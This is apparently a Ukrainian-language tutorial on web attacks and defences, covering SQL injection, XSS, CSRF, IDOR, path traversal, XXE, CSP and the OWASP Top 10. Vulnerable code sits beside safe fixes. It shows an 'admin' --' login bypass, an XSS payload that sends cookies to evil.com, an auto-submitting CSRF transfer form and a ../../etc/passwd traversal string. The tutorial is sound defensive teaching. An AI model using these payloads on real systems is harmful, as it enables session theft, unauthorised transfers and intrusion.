🛡️ Безпека · Веброзробка
📅 Березень 2026⏱ 12 хв читання🟡 Середній · Останнє оновлення: 28 травня 2026 р.

SQL-ін'єкції, XSS і CSRF: атаки на вебзахист

SQL-ін'єкції, міжсайтовий скриптинг та CSRF разом становлять величезну частку успішних вебзломів. Це не екзотичні урядові 0-day — це базові помилки, яких щодня припускаються розробники, що не розуміють, як браузери та бази даних інтерпретують недовірені дані.

1. SQL-ін'єкції

Атака SQL-ін'єкції відбувається, коли надані користувачем дані напряму вставляються в SQL-запит без санітизації, що дає зловмиснику змогу змінити логіку запиту.

⚠️ ВРАЗЛИВО — ніколи так не робіть
const query = `SELECT * FROM users WHERE username = '${req.body.user}'
                 AND password = '${req.body.pass}'`;
// Зловмисник вводить: user = "admin' --"
// Запит стає таким:
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
// -- закоментовує перевірку пароля → вхід як admin
✅ БЕЗПЕЧНО — параметризовані запити
// Node.js / PostgreSQL
const result = await db.query(
  'SELECT * FROM users WHERE username = $1 AND password = $2',
  [req.body.user, req.body.pass]  // параметри, ніколи не конкатенація
);
// Драйвер бази даних екранує всі спеціальні символи.
Небезпека: успішна SQL-ін'єкція може вивантажити цілі бази даних, обійти автентифікацію, змінити дані або (через xp_cmdshell у MSSQL) виконати команди ОС. Злом LinkedIn 2012 року (6.5 млн паролів) почався із SQL-ін'єкції.

2. Міжсайтовий скриптинг (XSS)

XSS впроваджує шкідливі скрипти на сторінки, які переглядають інші користувачі. Браузер жертви виконує JavaScript зловмисника в контексті цільового сайту — з повним доступом до cookie, localStorage та DOM.

Відображений XSS (Reflected)

Корисне навантаження міститься в параметрі URL і одразу відображається у відповіді. Зловмисник надсилає жертві спеціально створене посилання. Приклад: search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

Збережений XSS (Stored)

Корисне навантаження зберігається в базі даних (наприклад, у полі коментаря) і подається кожному відвідувачу. Небезпечніший — не потрібно заманювати конкретних користувачів посиланнями.

⚠️ ВРАЗЛИВО
// Сервер вставляє наданий користувачем вміст прямо в HTML:
document.getElementById('comment').innerHTML = userInput;
// або на боці сервера:
res.send('<p>Hello ' + req.query.name + '</p>');
✅ БЕЗПЕЧНО
// Використовуйте textContent (а не innerHTML) для даних користувача:
element.textContent = userInput;  // браузер сприймає це як текст, а не HTML

// На боці сервера: використовуйте шаблонізатор з автоекрануванням:
// Handlebars: {{ name }}  →  &lt; &gt; (екрановано)
// React: {name}           →  автоекранування через VDOM React

3. Міжсайтова підробка запиту (CSRF)

CSRF використовує автоматичне додавання cookie браузером. Якщо користувач увійшов на bank.com і відвідує evil.com, прихована форма на evil.com може надіслати POST на bank.com — браузер автоматично долучить сесійну cookie користувача.

⚠️ CSRF-атака на evil.com
<!-- Прихована форма автоматично надсилається, коли жертва заходить -->
<form method="POST" action="https://bank.com/transfer">
  <input name="to" value="attacker-account">
  <input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
Захист:
CSRF-токени: сервер генерує випадковий токен на кожну сесію, вбудовує його у форми та перевіряє під час надсилання. Зловмисник на evil.com не може його прочитати (політика спільного походження).
SameSite cookie: установіть SameSite=Strict або SameSite=Lax — браузер не надсилатиме cookie в міжсайтових запитах.
Подвійне надсилання cookie: токен і в cookie, і в тілі запиту; сервер перевіряє, що вони збігаються.

4. IDOR, обхід шляху та інше

IDOR (небезпечне пряме посилання на об'єкт): доступ до даних іншого користувача шляхом зміни ID в URL. Наприклад, /api/invoice?id=1042 → спробувати id=1043. Виправлення: перевірка авторизації під час кожного доступу до ресурсу.

Обхід шляху (Path traversal): використання ../../etc/passwd у параметрах шляху до файлу для читання довільних файлів на сервері. Виправлення: канонізуйте шляхи та перевіряйте, що вони в межах призначеного каталогу.

Ін'єкція команд: передавання несанітизованого вводу командам ОС через system(), exec() тощо. Виправлення: уникайте викликів оболонки або використовуйте параметризовані API (child_process.execFile з масивом аргументів).

XXE (зовнішня XML-сутність): XML-парсери, що розв'язують зовнішні сутності, можна використати для читання файлів чи виконання SSRF-запитів. Виправлення: вимкніть обробку DTD/зовнішніх сутностей у налаштуваннях XML-парсера.

5. Політика безпеки вмісту

CSP — це заголовок HTTP-відповіді, який повідомляє браузерам, з яких джерел дозволено завантажувати скрипти, стилі, зображення тощо. Сувора CSP запобігає більшості XSS-атак, навіть якщо стається HTML-ін'єкція:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{random-per-request}';
  style-src  'self' 'nonce-{random-per-request}';
  img-src    'self' data: https:;
  object-src 'none';
  base-uri   'none';

За CSP на основі nonce виконуються лише вбудовані скрипти з правильним значенням nonce (генерується на боці сервера, різне для кожного запиту). Зловмисника, який впроваджує тег скрипта без nonce, буде заблоковано.

6. OWASP Top 10 (2021)

  1. Порушене керування доступом
  2. Криптографічні збої (паролі у відкритому тексті, слабке гешування)
  3. Ін'єкції (SQL, NoSQL, LDAP, команди)
  4. Небезпечне проєктування
  5. Неправильне налаштування безпеки (стандартні облікові дані, докладні повідомлення про помилки)
  6. Вразливі та застарілі компоненти
  7. Збої ідентифікації та автентифікації
  8. Збої цілісності програмного забезпечення та даних (неперевірені оновлення, шкідливі npm-пакети)
  9. Збої журналювання та моніторингу безпеки
  10. Підробка запиту на боці сервера (SSRF)

7. Найкращі практики безпеки